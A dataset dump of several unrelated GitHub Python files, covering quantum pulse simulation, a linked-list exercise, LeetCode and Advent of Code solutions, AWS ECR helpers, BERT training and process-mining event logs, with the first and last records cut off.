dyx[char][0]][r_xpos + dyx[char][1]] = 0\n r_ypos += dyx[char][0]\n r_xpos += dyx[char][1]\n elif response == 2:\n cv[r_ypos + dyx[char][0]][r_xpos + dyx[char][1]] = 2\n r_ypos += dyx[char][0]\n r_xpos += dyx[char][1]\n # print_canvas(cv, r_ypos, r_xpos)\n if stateA == 'END':\n break\n\nprint_canvas(cv, r_ypos, r_xpos)\n","repo_name":"georgwille/aoc2019","sub_path":"aoc_15a1.py","file_name":"aoc_15a1.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7459462761","text":"import numpy as np\r\nimport qutip as qt\r\n\r\n\r\nclass WAHUHA:\r\n def __init__(\r\n self, h, taus, phase=0, min_iteration=1, max_time=None, final_relaxation=None\r\n ):\r\n self.h = h\r\n self.taus = taus\r\n self.phase = phase\r\n self.min_iteration = min_iteration\r\n self.max_time = max_time\r\n self.final_relaxation = final_relaxation\r\n\r\n if self.tpi2 > min(taus):\r\n raise ValueError(\r\n \"The pi/2 pulse is larger than the time between pulses. Increase the time or the field.\"\r\n )\r\n\r\n @property\r\n def tpi2(self):\r\n return 2 * np.pi / (4 * self.h)\r\n\r\n @property\r\n def iterations(self):\r\n if self.max_time is not None:\r\n N = round(self.max_time / self.duration_cycle)\r\n else:\r\n N = 1\r\n return max(N, self.min_iteration)\r\n\r\n @property\r\n def duration_cycle(self):\r\n return 2 * sum(self.taus)\r\n\r\n @property\r\n def duration_total(self):\r\n return self.duration_cycle * self.iterations\r\n\r\n def get_pulse(self, h, phase):\r\n return (h * np.cos(phase), h * np.sin(phase), 0)\r\n\r\n @property\r\n def cycle_fields(self):\r\n phase = self.phase\r\n h = self.h\r\n return [\r\n (0, 0, 0),\r\n self.get_pulse(h, 0 + phase),\r\n (0, 0, 0),\r\n self.get_pulse(h, -np.pi / 2 + phase),\r\n (0, 0, 0),\r\n self.get_pulse(-h, -np.pi / 2 + phase),\r\n (0, 0, 0),\r\n self.get_pulse(-h, 0 + phase),\r\n (0, 0, 0),\r\n ]\r\n\r\n @property\r\n def cycle_durations(self):\r\n tau_1, tau_2, tau_3 = self.taus\r\n tpi2 = self.tpi2\r\n return [\r\n tau_1 - tpi2 / 2,\r\n tpi2,\r\n tau_2 - tpi2,\r\n tpi2,\r\n 2 * tau_3 - tpi2,\r\n tpi2,\r\n tau_2 - tpi2,\r\n tpi2,\r\n tau_1 - tpi2 / 2,\r\n ]\r\n\r\n @property\r\n def fields(self):\r\n fields = [field for _ in range(self.iterations) for field in self.cycle_fields]\r\n if self.final_relaxation is not None:\r\n fields.append((0, 0, 0))\r\n return fields\r\n\r\n @property\r\n def durations(self):\r\n durations = self.iterations * self.cycle_durations\r\n if self.final_relaxation is not None:\r\n durations.append(self.final_relaxation)\r\n return durations\r\n\r\n def get_time_interval(self, t0, duration, dt=None):\r\n t1 = t0 + duration\r\n if dt is None:\r\n time_interval = [t0, t1]\r\n else:\r\n time_interval = np.arange(t0, t1, dt)\r\n if time_interval[-1] != t1:\r\n time_interval = np.append(time_interval, t1)\r\n return time_interval\r\n\r\n @staticmethod\r\n def gaussian(t, args):\r\n t0 = args[\"t0\"]\r\n sigma = args[\"sigma\"]\r\n return (\r\n 4\r\n / (0.9545 * np.sqrt(2 * np.pi))\r\n * np.exp(-((t - t0 - sigma * 2) ** 2) / (2 * sigma ** 2))\r\n )\r\n\r\n def schroedinger(\r\n self,\r\n model,\r\n psi0,\r\n dt=None,\r\n e_ops=None,\r\n options=None,\r\n progress_bar=None,\r\n _safe_mode=True,\r\n gaussian=False,\r\n ):\r\n if options is None:\r\n options = qt.Options(store_final_state=True)\r\n else:\r\n options.store_final_state = True\r\n\r\n H_int = model.hamiltonian_int()\r\n\r\n t0 = 0\r\n expect = [np.array([qt.expect(e_ops, psi0)])]\r\n times = [np.array([t0])]\r\n for duration, field in zip(self.durations, self.fields):\r\n time_interval = self.get_time_interval(t0, duration, dt)\r\n\r\n if gaussian:\r\n H_ext = [model.hamiltonian_field(*field), self.gaussian]\r\n else:\r\n H_ext = model.hamiltonian_field(*field)\r\n result = qt.sesolve(\r\n [H_int, H_ext],\r\n psi0,\r\n time_interval,\r\n e_ops=e_ops,\r\n options=options,\r\n progress_bar=progress_bar,\r\n _safe_mode=_safe_mode,\r\n args={\"t0\": t0, \"sigma\": duration / 4},\r\n )\r\n\r\n t0 = t0 + duration\r\n psi0 = result.final_state\r\n expect.append(np.array(result.expect)[:, 1:])\r\n times.append(time_interval[1:])\r\n return np.concatenate(times), np.concatenate(expect, axis=1)\r\n\r\n\r\nclass WAHUHA_amp_errors(WAHUHA):\r\n def __init__(\r\n self,\r\n h,\r\n taus,\r\n phase=0,\r\n min_iteration=1,\r\n max_time=None,\r\n phase_error=0,\r\n final_relaxation=None,\r\n ):\r\n super().__init__(\r\n h,\r\n taus,\r\n phase=phase,\r\n min_iteration=min_iteration,\r\n max_time=max_time,\r\n final_relaxation=final_relaxation,\r\n )\r\n self.phase_error = phase_error\r\n if phase != 0:\r\n raise ValueError(\r\n \"phase needs to be zero. Otherwise, use standard WAHUHA sequence.\"\r\n )\r\n\r\n def get_pulse(self, h, phase):\r\n n1, n2 = list(self.phase_error * np.random.randn(2))\r\n if np.isclose(phase, 0):\r\n return (h * np.sqrt(1 - n1 ** 2 - n2 ** 2), h * n1, h * n2)\r\n else:\r\n return (h * n2, h * np.sqrt(1 - n1 ** 2 - n2 ** 2), h * n1)\r\n\r\n\r\ndef schroedinger_sequence(\r\n model,\r\n psi0,\r\n durations,\r\n fields,\r\n dt=None,\r\n e_ops=None,\r\n args=None,\r\n options=None,\r\n progress_bar=None,\r\n _safe_mode=True,\r\n):\r\n if options is None:\r\n options = qt.Options(store_final_state=True)\r\n else:\r\n options.store_final_state = True\r\n\r\n H_int = model.hamiltonian_int()\r\n\r\n t0 = 0\r\n expect = [np.array([qt.expect(e_ops, psi0)])]\r\n times = [np.array([t0])]\r\n for duration, field in zip(durations, fields):\r\n t1 = t0 + duration\r\n if dt is None:\r\n time_interval = [t0, t1]\r\n else:\r\n time_interval = np.arange(t0, t1, dt)\r\n if time_interval[-1] != t1:\r\n time_interval = np.append(time_interval, t1)\r\n t0 = t1\r\n\r\n H_ext = model.hamiltonian_field(*field)\r\n result = qt.sesolve(\r\n H_int + H_ext,\r\n psi0,\r\n time_interval,\r\n e_ops=e_ops,\r\n args=args,\r\n options=options,\r\n progress_bar=progress_bar,\r\n _safe_mode=_safe_mode,\r\n )\r\n\r\n psi0 = result.final_state\r\n expect.append(np.array(result.expect)[:, 1:])\r\n times.append(time_interval[1:])\r\n return np.concatenate(times), np.concatenate(expect, axis=1)\r\n","repo_name":"RydbergQD/heisensim","sub_path":"heisensim/hamiltonian_engineering.py","file_name":"hamiltonian_engineering.py","file_ext":"py","file_size_in_byte":6704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23296988310","text":"class Node:\n def __init__(self, data):\n self.value = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def print_list(self):\n if self.head is None:\n print(\"List is empty.\")\n else:\n current = self.head\n while current is not None:\n # print(current.value, end=' ')\n print(current.value)\n current = current.next\n\n # 放資料在List的最前面\n def insert_front(self, data):\n newNode = Node(data)\n if self.head is None:\n self.head = newNode\n else:\n newNode.next = self.head\n self.head = newNode\n\n # 放資料在List的最後面\n def insert_back(self, data):\n newNode = Node(data)\n\n if self.head is None:\n self.insert_front(data)\n else:\n temporaryList = self.head\n while(temporaryList.next is not None):\n temporaryList = temporaryList.next\n temporaryList.next = newNode\n\n # 新增資料到中間,用指定的方式\n def insert_middle(self, num, data):\n newNode = Node(data)\n temporaryList = self.head\n if temporaryList is None:\n print(\"List is empty.\")\n else:\n while(temporaryList.value is not num):\n temporaryList = temporaryList.next\n newNode.next = temporaryList.next\n temporaryList.next = newNode\n\n # 更新開頭資料\n def update_front(self, data):\n if self.head is None:\n print(\"list is empty.\")\n else:\n self.head.value = data\n\n # 更新尾端資料\n def update_back(self, data):\n if self.head is None:\n print(\"List is empty.\")\n else:\n temporaryList = self.head\n while(temporaryList.next is not None):\n temporaryList = temporaryList.next\n temporaryList.value = data\n\n # 移除開頭資料\n def remove_front(self):\n temporaryList = self.head\n if temporaryList is None:\n print(\"List is empty.\")\n else:\n self.head = temporaryList.next\n temporaryList = None\n\n # 移除尾端資料\n def remove_back(self):\n temporaryList = self.head\n if temporaryList is None:\n print(\"List is empty.\")\n else:\n while(temporaryList.next.next is not None):\n temporaryList = temporaryList.next\n temporaryList.next = None\n\n # 刪除節點\n def DeleteData(self, data): # 刪除list中的T data資料\n previous = None\n current = self.head\n\n # 如果current為null或current的資料為我們所要刪除的就停止traversal\n while (current is not None and current.value != data):\n previous = current\n current = current.next\n\n if current is None: # current為null代表list為空或是list中不存在我們想要刪除的資料\n print(\"There is no \" + str(data) + \" in list\")\n elif current == self.head: # 如果我們想要刪除的資料是第一個節點\n self.head = current.next\n current = None\n else: # 想要刪除的資料不是第一個節點\n previous.next = current.next\n\n # 基本上這個是0或None都沒查,除非你知道它記憶體位置並且要把它列印出來\n # 因為上面那行104,把中間斷掉又重新連起來\n current = 0\n\n # 更新節點\n # 用的是線性搜尋找到相對的值把它替換掉\n def update_data(self, num, data):\n current = self.head\n if current.value != num:\n current = current.next\n\n current.value = data\n\n # 反轉鏈結串列\n def invert(self):\n prev = None # 第1個要改為最後所以為None\n while self.head:\n next = self.head.next #等下要處理的\n self.head.next = prev # 暫存的\n prev = self.head # 因為反轉,下1個改為前1個\n self.head = next # 下一個\n self.head = prev\n\n\nlist = LinkedList()\n\n# 新增資料,因為List沒資料所以會去新增在最前面\nlist.insert_back(1)\n\n# 新增資料,在尾端加入資料\nlist.insert_back(2)\nlist.insert_back(3)\n\n# 印出資料,Linked搜尋是線性\nlist.print_list() # 1 2 3\n\n# 移除尾端資料\nprint(\"開始移除尾端資料\")\nlist.remove_back()\nlist.print_list() # 1 2\n\n# 移除開頭資料\nprint(\"開始移除開頭資料\")\nlist.remove_front()\nlist.print_list() # 2\n\nprint(\"開始更新開頭資料\")\nlist.update_front(70)\nlist.print_list() # 70\n\nprint(\"再新增資料\")\n# 新增資料,在尾端加入資料\nlist.insert_back(2)\nlist.insert_back(3)\nlist.print_list() # 70 2 3\n\nprint(\"更新尾端資料\")\n# 更新尾端資料\nlist.update_back(80)\nlist.print_list() # 70 2 80\n\nprint(\"開始新增資料到2和80中間\")\nlist.insert_middle(2, 10)\nlist.print_list() # 70 2 10 80\n\nprint(\"開始新增資料到10和80中間\")\nlist.insert_middle(10, 16)\nlist.print_list() # 70 2 10 16 80\n\n# print(\"開始刪除頭部節點\")\n# list.DeleteData(70)\n# list.print_list()\n\n# print(\"開始刪除節點\")\n# list.DeleteData(2)\n# list.print_list()\n\nprint(\"更新資料\")\nlist.update_data(70, 71)\nlist.print_list() # 71 2 10 16 80\n\nprint(\"更新資料\")\nlist.update_data(2, 3)\nlist.print_list() # 71 3 10 16 80\n\nprint(\"反轉鏈結串列\")\nlist.invert()\nlist.print_list() # 80 16 10 3 71\n","repo_name":"Linus-Joker/python_practice","sub_path":"data_structure/linked_two.py","file_name":"linked_two.py","file_ext":"py","file_size_in_byte":5527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15906861508","text":"\"\"\"\n * 你有一个炸弹需要拆除,时间紧迫!你的情报员会给你一个长度为 n 的 循环 数组 code 以及一个密钥 k 。\n * 为了获得正确的密码,你需要替换掉每一个数字。所有数字会 同时 被替换。\n * 1、如果 k > 0 ,将第 i 个数字用 接下来 k 个���字之和替换。\n * 2、如果 k < 0 ,将第 i 个数字用 之前 k 个数字之和替换。\n * 3、如果 k == 0 ,将第 i 个数字用 0 替换。\n * 由于 code 是循环的, code[n-1] 下一个元素是 code[0] ,且 code[0] 前一个元素是 code[n-1] 。\n * 给你 循环 数组 code 和整数密钥 k ,请你返回解密后的结果来拆除炸弹!\n * 提示:\n * 1、n == code.length\n * 2、1 <= n <= 100\n * 3、1 <= code[i] <= 100\n * 4、-(n - 1) <= k <= n - 1\n * 链接:https://leetcode.cn/problems/defuse-the-bomb/\n\"\"\"\n\nfrom typing import *\n\n\nclass Solution:\n\n def decrypt(self, code: List[int], k: int) -> List[int]:\n sm, n = 0, len(code)\n ans = [0] * len(code)\n if k != 0:\n sign = 1 if k > 0 else -1\n for i in range(k * sign):\n sm += code[(n + sign * (1 + i)) % n]\n ans[0] = sm\n for i in range(1, n):\n if sign == 1:\n ans[i] = ans[i - 1] + code[(i + k) % n] - code[i]\n else:\n ans[i] = ans[i - 1] + code[i - 1] - code[(i + k - 1 + n) % n]\n return ans\n\n\nif __name__ == \"__main__\":\n # [22,26,22,28,29,22,19,22,18,21,28,19]\n print(Solution().decrypt([10, 5, 7, 7, 3, 2, 10, 3, 6, 9, 1, 6], -4))\n # [12,5,6,13]\n print(Solution().decrypt([2, 4, 9, 3], -2))\n # [12,10,16,13]\n print(Solution().decrypt([5, 7, 1, 4], 3))\n # [0,0,0,0]\n print(Solution().decrypt([1, 2, 3, 4], 0))\n","repo_name":"adanzl/leetcode-practice","sub_path":"py/q1600/Q1652.py","file_name":"Q1652.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74241072151","text":"class ECRRepo:\n ''' manage 1 ECR repository's data '''\n def __init__(self, repo_info, tags):\n self.arn = repo_info['repositoryArn']\n self.info = repo_info\n self.name = repo_info['repositoryName']\n self.tags = tags\n\nclass ECRRepos:\n ''' manage all ECR repositories' data '''\n def __init__(self, ecr_interface):\n self._ecr_interface = ecr_interface\n repos = ecr_interface.get_repos()\n self._repos = []\n for repo in repos:\n name = repo['repositoryName']\n arn = repo['repositoryArn']\n res = ecr_interface.get_repo_tags(arn)\n tags = res['tags']\n ecr_repo = ECRRepo(repo, tags)\n self._repos += [ecr_repo]\n\n def all_repos(self):\n ''' return names of all repos, sorted '''\n return sorted(\n [repo.name for repo in self._repos]\n )\n\n def repos_with_name(self, string_to_match, exact_match=False):\n '''\n return names of ECR repos whose names match,\n if exact_match is True, a repo matches if name == string_to_match,\n if exact_match is False, a repo matches if name contains string_to_match,\n always return a list\n '''\n if exact_match:\n return [repo.name for repo in self._repos if repo.name == string_to_match]\n else:\n return [repo.name for repo in self._repos if string_to_match in repo.name]\n return repos\n\n def repos_with_tag(self, tag):\n ''' return names of repos that have the specified tag '''\n return sorted([\n repo.name for repo in self._repos\n if tag in repo.tags\n ])\n","repo_name":"artsy/opstools","sub_path":"src/lib/ecr_repos.py","file_name":"ecr_repos.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"7117071496","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\n\"\"\"\n@ide : PyCharm\n@project : LeetCode\n@file : 38. 外观数列.py\n@author : CALIBRATION\n@time : 2020/6/29 22:44\n@description: None\n\"\"\"\n\n\nclass Solution:\n def countAndSay(self, n: int) -> str:\n if (n == 1): return '1'\n num = self.countAndSay(n - 1) + \"*\"\n print(num)\n temp = list(num)\n count = 1\n strBulider = ''\n for i in range(len(temp) - 1):\n if temp[i] == temp[i + 1]:\n count += 1\n else:\n strBulider += str(count) + temp[i]\n count = 1\n return strBulider\n\n\ndef main():\n n = 20\n sol = Solution()\n res = sol.countAndSay(n)\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dushenda/LeetCode","sub_path":"Python/ltc/38. 外观数列.py","file_name":"38. 外观数列.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10764262266","text":"class Solution(object):\n global ret\n ret = [[1]]\n for i in range(1, 34):\n temp = [0] + ret[-1] + [0]\n newRow = []\n for j in range(len(temp) - 1):\n newRow.append(temp[j] + temp[j + 1])\n ret.append(newRow)\n\n def getRow(self, rowIndex):\n return ret[rowIndex]\n","repo_name":"radoansharkar/Competitive-Programming","sub_path":"Leetcode/Easy/Pascal's Triangle II.py","file_name":"Pascal's Triangle II.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34119024994","text":"import datasets\nfrom datasets import Dataset\nfrom models import *\nimport numpy as np\nimport os\nimport pandas as pd\nimport pytorch_lightning as pl\nfrom pytorch_lightning.callbacks import ModelCheckpoint, EarlyStopping\nimport sys\nfrom torch.utils.data import DataLoader\nfrom transformers import AutoTokenizer\n\n# Slurm fix\nsys.path.append(os.getcwd())\n\n\ndef training(model_folder, batch_size=8, lr=2e-5, epochs=16, split=1, norm=False, occ_or_ohv=''):\n \"\"\"\n Training script\n :param model_folder: string / determines approach\n :param batch_size: int\n :param lr: float\n :param epochs: int\n :param split: float / percentage of training data to use\n :param norm: boolean / if rules should be normalized\n :param occ_or_ohv: string / use occurence vectors or one hot encodings\n :return: None\n \"\"\"\n def preprocess(example):\n # ensures max length of 128 tokens per text\n return tokenizer(example['text'], padding='max_length', truncation=True, max_length=128)\n\n # Load data\n tokenizer = AutoTokenizer.from_pretrained('bert-base-uncased')\n train = Dataset.from_pandas(pd.read_csv(\"dataset/bne/train.csv\")).remove_columns('Unnamed: 0')\n dev = Dataset.from_pandas(pd.read_csv(\"dataset/bne/dev.csv\")).remove_columns('Unnamed: 0')\n\n # Add rule info to data when indicated\n if occ_or_ohv == 'occ':\n train_rules = np.load(\"dataset/bne/rule_occ_vectorstrain.npy\", allow_pickle=True)\n dev_rules = np.load(\"dataset/bne/rule_occ_vectorsdev.npy\", allow_pickle=True)\n train = train.add_column('rules', list(train_rules))\n dev = dev.add_column('rules', list(dev_rules))\n model_folder += '_occ'\n if occ_or_ohv == 'ohv':\n train_rules = np.load(\"dataset/bne/one_hot_vectorstrain.npy\", allow_pickle=True)\n dev_rules = np.load(\"dataset/bne/one_hot_vectorsdev.npy\", allow_pickle=True)\n train = train.add_column('rules', list(train_rules))\n dev = dev.add_column('rules', list(dev_rules))\n model_folder += '_ohv'\n\n if norm:\n model_folder += '_norm'\n\n # determine percentage of train data to use\n if split < 1:\n train = train.shuffle(123).select(range(int(len(train)*split)))\n model_folder += '_' + str(int(split*100))\n\n # Preprocess data\n train = train.map(preprocess).remove_columns('text')\n dev = dev.map(preprocess).remove_columns('text')\n\n # Create dataloaders\n train = train.with_format('torch')\n dev = dev.with_format('torch')\n\n train_loader = DataLoader(train, batch_size=batch_size)\n val_loader = DataLoader(dev, batch_size=batch_size)\n\n # Train with different seeds\n for seed in [1234 #, 5678, 9012, 3456, 7890 ]:\n ]:\n pl.seed_everything(seed)\n # Checkpointing\n checkpoint_callback = ModelCheckpoint(\n dirpath=os.path.join('models', model_folder, str(seed)),\n monitor='mf1',\n mode=\"max\",\n filename='{epoch}-{mf1:.4f}'\n )\n # Early Stopping\n early = EarlyStopping(\n monitor='mf1',\n mode=\"max\",\n patience=4,\n verbose=False\n )\n\n # Initialize model and trainer\n if model_folder.startswith('baseline'):\n model = BaselineBERT(batch_size=batch_size, lr=lr)\n if model_folder.startswith('lin'):\n model = LinLayerExtension(batch_size=batch_size, lr=lr, norm=norm)\n if model_folder.startswith('add'):\n model = AddLayer(batch_size=batch_size, lr=lr, norm=norm)\n if model_folder.startswith('kenn'):\n model = KennLayer(batch_size=batch_size, lr=lr, norm=norm)\n\n trainer = pl.Trainer(\n accelerator='gpu',\n devices=1,\n max_epochs=epochs,\n callbacks=[checkpoint_callback, early],\n num_sanity_val_steps=0\n )\n\n trainer.fit(model, train_dataloaders=train_loader, val_dataloaders=val_loader)\n\n\nif __name__ == \"__main__\":\n # Baseline\n training('baseline')\n training('baseline', split=0.5)\n training('baseline', split=0.1)\n # lin layer approaches\n training('linlayer', occ_or_ohv='occ')\n training('linlayer', occ_or_ohv='occ', norm=True)\n training('linlayer', occ_or_ohv='occ', split=0.5)\n training('linlayer', occ_or_ohv='occ', norm=True, split=0.5)\n training('linlayer', occ_or_ohv='occ', split=0.1)\n training('linlayer', occ_or_ohv='occ', norm=True, split=0.1)\n training('linlayer', occ_or_ohv='ohv')\n training('linlayer', occ_or_ohv='ohv', norm=True)\n training('linlayer', occ_or_ohv='ohv', split=0.5)\n training('linlayer', occ_or_ohv='ohv', norm=True, split=0.5)\n training('linlayer', occ_or_ohv='ohv', split=0.1)\n training('linlayer', occ_or_ohv='ohv', norm=True, split=0.1)\n # add layer approaches\n training('addlayer', occ_or_ohv='occ')\n training('addlayer', occ_or_ohv='occ', norm=True)\n training('addlayer', occ_or_ohv='occ', split=0.5)\n training('addlayer', occ_or_ohv='occ', norm=True, split=0.5)\n training('addlayer', occ_or_ohv='occ', split=0.1)\n training('addlayer', occ_or_ohv='occ', norm=True, split=0.1)\n training('addlayer', occ_or_ohv='ohv')\n training('addlayer', occ_or_ohv='ohv', norm=True)\n training('addlayer', occ_or_ohv='ohv', split=0.5)\n training('addlayer', occ_or_ohv='ohv', norm=True, split=0.5)\n training('addlayer', occ_or_ohv='ohv', split=0.1)\n training('addlayer', occ_or_ohv='ohv', norm=True, split=0.1)\n # kenn layer approaches\n training('kennlayer', occ_or_ohv='occ')\n training('kennlayer', occ_or_ohv='occ', norm=True)\n training('kennlayer', occ_or_ohv='occ', split=0.5)\n training('kennlayer', occ_or_ohv='occ', norm=True, split=0.5)\n training('kennlayer', occ_or_ohv='occ', split=0.1)\n training('kennlayer', occ_or_ohv='occ', norm=True, split=0.1)\n training('kennlayer', occ_or_ohv='ohv')\n training('kennlayer', occ_or_ohv='ohv', norm=True)\n training('kennlayer', occ_or_ohv='ohv', split=0.5)\n training('kennlayer', occ_or_ohv='ohv', norm=True, split=0.5)\n training('kennlayer', occ_or_ohv='ohv', split=0.1)\n training('kennlayer', occ_or_ohv='ohv', norm=True, split=0.1)\n\n","repo_name":"SebOchs/master-thesis","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":6200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43796708973","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf import settings\n\nimport views\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'hanssite.views.home', name='home'),\n # url(r'^hanssite/', include('hanssite.foo.urls')),\n url(r'^$', views.HomeView.as_view()),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('',\n url(r'^media/(?P.*)$', 'django.views.static.serve', {\n 'document_root': settings.MEDIA_ROOT,\n }),\n )\n\n","repo_name":"aelkner/hans_test","sub_path":"hanssite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28359990549","text":"from net import Net\nfrom file_reader import FileReader\nfrom vocabulary import Vocabulary\nfrom trainer import Trainer\nfrom data_set_functions import *\nimport time\n\n\nlabel_d, review_d = FileReader.run()\nv = Vocabulary(review_d, label_d)\nreviews = v.featurize_reviews()\n\nnn = Net(v.num_of_items())\nnn.add_layer(20)\nnn.add_output_layer(1)\n\nt = Trainer(nn, 0.1)\n\ntrain_data, validation_data, test_data = segment_data(list(zip(reviews, label_d)))\n\ndef train_epoch(epoch_num, training_set, validation_set):\n start_time = time.time()\n print(f\"Epoch number {epoch_num}\")\n batches = batch_data(training_set, 1)\n\n for i, batch in enumerate(batches):\n # print(f\"Batch {i + 1} of {len(batches)}\")\n if i % 100 == 0:\n time_diff = time.time() - start_time\n per_sec = i/time_diff\n print(f\"Examples per second: {per_sec:.3f}\")\n batch_loss, batch_misclas_rate = t.train_with_examples(batch)\n # print(f\"Batch Loss: {batch_loss} | Batch Misclassification: {batch_misclas_rate}\")\n\n loss, misclassification = evaluate(validation_set, nn)\n print(f\"Epoch number {epoch_num} Loss: {loss} | Epoch number {epoch_num} Misclassification: {misclassification}\")\n print(\"\")\n\n\nfor i in range(1):\n train_epoch(i, train_data, validation_data)\n\n # strings = [f\"\\r\\x1b[KEpoch {self.epoch_num}\",\n # f\"Batch #{b_num}.\",\n # f\"Train Error rate: {error_rate:.3f}\",\n # f\"Speed: {int(eps):5}ex/sec\"]\n # sys.stdout.write(\"\\t\".join(strings))\n\n\n\nprint(t.train_with_examples( [(reviews[0], label_d[0])] ))\n","repo_name":"ailadson/nn","sub_path":"vanilla/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36078176204","text":"import typing\n\nif typing.TYPE_CHECKING:\n from itchat.client import Client, WebSocketShard\n \nasync def action(\n client: \"Client\",\n shard: \"WebSocketShard\",\n payload: dict,\n) -> None:\n \"Coro: The handler for the server delete event.\"\n \n server = client.servers.get(payload['id'])\n \"Add the server to the cache.\"\n \n await client.emit(\n \"on_server_delete\", server)\n \ndef export():\n return \"ServerDelete\", action","repo_name":"zaunchat/zaun.py","sub_path":"itchat/client/actions/server_delete.py","file_name":"server_delete.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"15827100407","text":"import gzip\nimport json\nimport os\n\nimport numpy as np\nimport pandas as pd\nfrom lxml import etree\n\nfrom deepalign.enums import AttributeType\nfrom deepalign.fs import EVENTLOG_CACHE_DIR\nfrom deepalign.fs import EVENTLOG_DIR\nfrom deepalign.processmining.case import Case\nfrom deepalign.processmining.event import Event\n\n\ndef get_type(a):\n from numbers import Number\n if isinstance(a, Number):\n return AttributeType.NUMERICAL\n else:\n return AttributeType.CATEGORICAL\n\n\nclass EventLog(object):\n start_symbol = '▶'\n end_symbol = '■'\n edge_symbol = '→'\n\n def __init__(self, cases=None, **kwargs):\n if cases is None or len(cases) == 0:\n self.cases = []\n else:\n self.cases = cases\n self.attributes = dict(kwargs)\n self._event_attributes_keys = None\n self._case_attribute_keys = None\n\n def __iter__(self):\n return iter(self.cases)\n\n def __getitem__(self, indices):\n return np.array(self.cases)[indices]\n\n def __setitem__(self, index, value):\n self.cases[index] = value\n\n def __str__(self):\n return f'Event Log: #cases: {self.num_cases}, #events: {self.num_events}, ' \\\n f'#activities: {self.num_activities}, Max case length: {self.max_case_len}'\n\n def __len__(self):\n return len(self.cases)\n\n def add_case(self, case):\n self.cases.append(case)\n\n def summary(self):\n columns = ['# Events', '# Cases', '# Variants', 'Avg Variant Coverage',\n 'Compression',\n '# Activities', '# Case Attributes', '# Event Attributes',\n 'Avg Length', 'Min Length', 'Max Length']\n values = [[self.num_events, self.num_cases, self.num_traces, self.num_cases / self.num_traces,\n '{:.2%}'.format(self.num_traces / self.num_cases),\n self.num_activities, self.num_case_attributes, self.num_event_attributes,\n self.case_lens.mean().round(2), self.case_lens.min(), self.case_lens.max()]]\n return pd.DataFrame(values, columns=columns)\n\n def get_event_attribute_types(self, attributes=None):\n if attributes is None:\n attributes = self.event_attribute_keys\n attribute_types = [AttributeType.CATEGORICAL] # name is always categorical\n\n def find_event_with_attribute(a):\n for case in self.cases:\n for event in case:\n if a in event.attributes:\n return event\n\n for a in attributes[1:]: # Skip name\n attribute_types.append(get_type(find_event_with_attribute(a).attributes[a]))\n return attribute_types\n\n def get_case_attribute_types(self, attributes=None):\n if attributes is None:\n attributes = self.case_attribute_keys\n\n def find_case_with_attribute(a):\n for case in self.cases:\n if a in case.attributes:\n return case\n\n return [get_type(find_case_with_attribute(a).attributes[a]) for a in attributes]\n\n def get_unique_event_attribute_values(self, key):\n if key == 'name':\n return sorted(self.unique_activities)\n else:\n return sorted(list(set([str(e.attributes[key]) if key in e.attributes else ''\n for case in self.cases for e in case])))\n\n def get_unique_case_attribute_values(self, key):\n return sorted(list(set([str(case.attributes[key]) if key in case.attributes else ''\n for case in self.cases])))\n\n @property\n def name(self):\n if 'concept:name' in self.attributes:\n if 'value' in self.attributes['concept:name']:\n return self.attributes['concept:name']['value']\n return None\n\n @property\n def event_attribute_keys(self):\n if self._event_attributes_keys is None:\n # Guarded identifiers\n ignored = ['concept:name', 'time:timestamp', 'lifecycle:transition']\n\n # Remove unique values, single_values, duplicates, dates, and numerical values\n if self.name in ['BPIC15_1.xes', 'BPIC15_2.xes', 'BPIC15_3.xes', 'BPIC15_4.xes', 'BPIC15_5.xes']:\n ignored += ['action_code', 'activityNameEN', 'activityNameNL', 'dateFinished', 'dateStop', 'dueDate',\n 'planned', 'question']\n if self.name in ['BPI Challenge 2017', 'BPI Challenge 2017 - Offer log']:\n ignored += ['EventID', 'OfferID', 'FirstWithdrawalAmount', 'CreditScore', 'FirstWithdrawalAmount',\n 'MonthlyCost', 'NumberOfTerms', 'OfferedAmount', 'EventOrigin']\n if self.name == 'BPI Challenge 2019':\n ignored += ['User']\n\n keys = {}\n for c in self.cases:\n for e in c:\n for key in e.attributes:\n if key not in keys and key not in ignored:\n keys[key] = True\n self._event_attributes_keys = ['name'] + sorted(keys.keys())\n\n return self._event_attributes_keys\n\n @property\n def case_attribute_keys(self):\n if self._case_attribute_keys is None:\n # Guarded identifiers\n ignored = ['concept:name', 'label'] # Label is coming from this library\n\n # Remove unique values, single values, and dates\n if self.name == 'BPI Challenge 2012':\n 